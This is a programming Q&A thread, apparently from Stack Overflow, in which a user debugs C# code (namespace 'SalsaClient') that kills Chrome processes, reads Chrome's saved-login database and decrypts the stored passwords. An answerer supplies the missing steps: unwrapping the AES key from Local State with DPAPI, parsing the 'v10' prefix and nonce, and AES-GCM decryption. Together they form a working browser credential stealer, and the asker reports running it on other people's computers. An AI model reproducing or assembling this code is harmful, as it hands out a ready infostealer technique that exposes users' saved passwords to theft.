UnCavoHDMI
UnCavoHDMI

Reputation: 23

System.Security.Cryptography.CryptographicException: "The parameter is incorrect" / Aes 256 Gcm Decryption

I've had the same issue for two days now: System.Security.Cryptography.CryptographicException: The parameter is incorrect

in System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope scope)

I used this project for my code: https://github.com/jabiel/BrowserPass/tree/master/BrowserPass

In that project the error should be in ChromePassReader.cs, line 42 I guess.

Everything was working properly on my computer, a friend of mine made me try it on his computer and it's not working for him. I have tried also on other PCs, but without success.

Most suitable answer (proposed by Topaco): The type of decryption I'm using is useful for Data Encrypted with DPAPI. Since v80.0 or later Chrome version, password data are encrypted using Aes 256 Gcm, so:

Update

I tried writing a code to decrypt AesGcm256 Password data. I get the user data from the database, located in Google Chrome folders, called Login Data. Then I should decrypt the password I get from there using AesGcm256 Decryption, but I'm not able to do it. This is my attempt:

Where I get URLs, Usernames, Passwords:

using System;
using System.Collections.Generic;
using System.Net;
using System.Data.SQLite;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;
using SalsaClient.Algorithm;

namespace SalsaClient.CDS
{
    class ChromePassReader : IPassReader
    {
        public string BrowserName { get { return "Chrome"; } }

        private const string LOGIN_DATA_PATH = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";


        public IEnumerable<CredentialModel> ReadPasswords()
        {
            var result = new List<CredentialModel>();

            var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
            var p = Path.GetFullPath(appdata + LOGIN_DATA_PATH);

            if (File.Exists(p))
            {
                Process[] chromeInstances = Process.GetProcessesByName("chrome");
                foreach (Process proc in chromeInstances)
                    proc.Kill();

                using (var conn = new SQLiteConnection($"Data Source={p};"))
                {
                    conn.Open();
                    using (var cmd = conn.CreateCommand())
                    {
                        cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
                        using (var reader = cmd.ExecuteReader())
                        {

                            if (reader.HasRows)
                            {
                                while (reader.Read())
                                {

                                    var pass = AesGcm256.decrypt(GetBytes(reader, 2)); //encrypted data

                                    result.Add(new CredentialModel()
                                    {
                                        Url = reader.GetString(0),
                                        Username = reader.GetString(1),
                                        Password = pass
                                    });

                                }
                            }
                        }
                    }
                    conn.Close();
                }

            }
            else
            {
                throw new FileNotFoundException("Cannot find chrome logins file");
            }
            return result;
        }

        private byte[] GetBytes(SQLiteDataReader reader, int columnIndex)
        {
            const int CHUNK_SIZE = 2 * 1024;
            byte[] buffer = new byte[CHUNK_SIZE];
            long bytesRead;
            long fieldOffset = 0;
            using (MemoryStream stream = new MemoryStream())
            {
                while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0)
                {
                    stream.Write(buffer, 0, (int)bytesRead);
                    fieldOffset += bytesRead;
                }
                return stream.ToArray();
            }
        }
    }
}

Algorithm:

using Newtonsoft.Json;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace SalsaClient.Algorithm
{
    class AesGcm256
    {
        public static string GetKey()
        {
            string sR = string.Empty;
            var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
            var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");

            string v = File.ReadAllText(path);

            dynamic json = JsonConvert.DeserializeObject(v);
            string key = json.os_crypt.encrypted_key;

            byte[] src = Convert.FromBase64String(key);
            byte[] encryptedKey = src.Skip(5).ToArray();

            byte[] data = Convert.FromBase64String(encodedString);
            string decodedString = Encoding.UTF8.GetString(data);

            byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
        }

        public static string decrypt(string EncryptedText, byte[] key, byte[] iv)
        {
            string sR = string.Empty;
            try
            {
                byte[] encryptedBytes = Convert.FromBase64String(EncryptedText);

                GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
                AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);

                cipher.Init(false, parameters);
                byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
                Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
                cipher.DoFinal(plainBytes, retLen);

                sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }

            return sR;
        }
    }
}

Upvotes: 2

Views: 6535

Answers (1)

Topaco
Topaco

Reputation: 49121

Unfortunately you didn't describe what exactly doesn't work. However, most of the code seems to be implemented correctly. In some parts a few minor changes and additions are necessary:

  • The DPAPI decryption of the AES key takes place in SalsaClient.Algorithm.AesGcm256.GetKey(). Here the return statement is missing. The return value is of type string. Since the key generally consists of arbitrary binary data, a suitable encoding like Base64 or hexadecimal should be used if the data are to be returned as string. Alternatively, the key can be returned as byte[], as in the following adaption:

    public static byte[] GetKey()
    {
        string sR = string.Empty;
        var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
        var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
    
        string v = File.ReadAllText(path);
    
        dynamic json = JsonConvert.DeserializeObject(v);
        string key = json.os_crypt.encrypted_key;
    
        byte[] src = Convert.FromBase64String(key);
        byte[] encryptedKey = src.Skip(5).ToArray();
    
        byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
    
        return decryptedKey;
    }
    
  • Next, SalsaClient.CDSChromePassReader#ReadPasswords() must be modified slightly:

    • The AES key must be determined.
    • The nonce and the actual ciphertext must be determined from the data read from the DB.
    • The decryption of the passwords must be carried out (using AES key, nonce and actual ciphertext).


    Overall:

    ...  
    byte[] key = AesGcm256.GetKey();
    while (reader.Read())
    {
        byte[] encryptedData = GetBytes(reader, 2);
        byte[] nonce, ciphertextTag;
        AesGcm256.prepare(encryptedData, out nonce, out ciphertextTag);
        string pass = AesGcm256.decrypt(ciphertextTag, key, nonce); 
        ...
    }
    ...
    
  • The determination of nonce and actual ciphertext is performed in the new method SalsaClient.Algorithm.AesGcm256.prepare(). At this point the information from the linked article is needed: The data associated with a password consists of the following parts:

    • The first three bytes are the ASCII encoding of v10 (0x763130).
    • The next 12 bytes are the nonce.
    • This is followed by the actual ciphertext.
    • The last 16 bytes are the authentication tag of the GCM mode.


    The actual ciphertext and the authentication tag don't need to be separated, because the C#/BC implementation of AES-GCM processes both parts together:

    public static void prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag)
    {
        nonce = new byte[12];
        ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];
    
        System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
        System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
    }
    
  • Since the encrypted data (actual ciphertext and authentication tag) are in binary format, it's more convenient to pass these data to SalsaClient.Algorithm.AesGcm256.decrypt() as byte[] and not as string:

    public static string decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)
    {
        string sR = string.Empty;
        try
        {
            GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
            ...
    

    The decrypted data are trimmed in the posted code at the end (line breaks and 0-values). Actually this shouldn't be necessary. But maybe you have special reasons for this.

  • At this point all necessary changes have been made. The decryption of the passwords is then accomplished by executing in the Main method:

    SalsaClient.CDS.ChromePassReader chromePassReader = new SalsaClient.CDS.ChromePassReader();
    IEnumerable<CredentialModel> credentialList = chromePassReader.ReadPasswords();
    

With this code I can decrypt the Chrome passwords on my machine (whereby my DB exclusively contains AES-GCM encrypted passwords). Note, however, that not all passwords have to be AES-GCM encrypted. Old passwords (from before v80) can still be DPAPI encrypted. Of course, they cannot be decrypted in the described way, but must be DPAPI decrypted. As mentioned above, passwords encrypted with AES-GCM can be identified by the fact that they start with the ASCII encoding of v10 (0x763130). Maybe you need to add a corresponding case distinction to your code (at least if DPAPI encrypted passwords are still stored in the DB).

Upvotes: 1

Related Questions